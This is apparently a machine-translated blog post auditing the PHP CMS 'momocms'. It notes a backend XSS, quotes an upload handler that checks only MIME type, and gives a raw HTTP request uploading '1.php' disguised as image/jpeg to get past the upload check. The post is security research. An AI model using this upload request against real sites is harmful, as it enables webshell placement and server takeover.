: This article mainly introduces momocms code audit. if you are interested in the PHP Tutorial, refer to it. When I got bored, I saw a program on the webmaster's house. I downloaded it and read it.
$ _ GET at the front end is filtered by the intval () function, and there is no usable one.
There is an xss in the background
In
Admin \ create_sub_product.php: row 96th
II. Upload vulnerability
In admin/banner_do.php
The code is as follows:
require("./database.php");if(empty($_SESSION['momocms_admin'])){header("Location:./index.php");exit;}if($_SESSION['momocms_isAdmin']==1){if (($_FILES["banner"]["type"] == "image/gif")|| ($_FILES["banner"]["type"] == "image/jpeg")|| ($_FILES["banner"]["type"] == "image/png")|| ($_FILES["banner"]["type"] == "image/pjpeg")) { if ($_FILES["banner"]["error"] > 0){ echo "Return Code: " . $_FILES["banner"]["error"] . "
"; }else{ if(!is_dir("../resource/slide/images")){ mkdir("../resource/slide/images"); } $pos = strrpos($_FILES["banner"]["name"],"."); $back = substr($_FILES["banner"]["name"],$pos); $_FILES["banner"]["name"] = time().$back; move_uploaded_file($_FILES["banner"]["tmp_name"], "../resource/slide/images/". $_FILES["banner"]["name"]); $pic="../resource/slide/images/". $_FILES["banner"]["name"]; echo '《script》parent.document.getElementById("successMsg").style.display="block";setTimeout(function(){parent.window.location.href="./banner.php";},1500);《script》'; } }}
You can see that the upload type is determined, but the upload suffix is not determined.
Therefore, you can construct Content-type: image/jpeg to break through the upload process.
POST /test/momocms/admin/banner_do.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://localhost/test/momocms/admin/banner.phpCookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811Connection: keep-aliveContent-Type: multipart/form-data; boundary=---------------------------13761195204349Content-Length: 227-----------------------------13761195204349Content-Disposition: form-data; name="banner"; filename="1.php"Content-Type: image/jpeg
-----------------------------13761195204349--
Then, you can directly modify the php source code on the background.
I have read so much for the moment. Let's take a look at other things later.
The above introduces momocms code audit, including the content, and hope to be helpful to friends who are interested in PHP tutorials.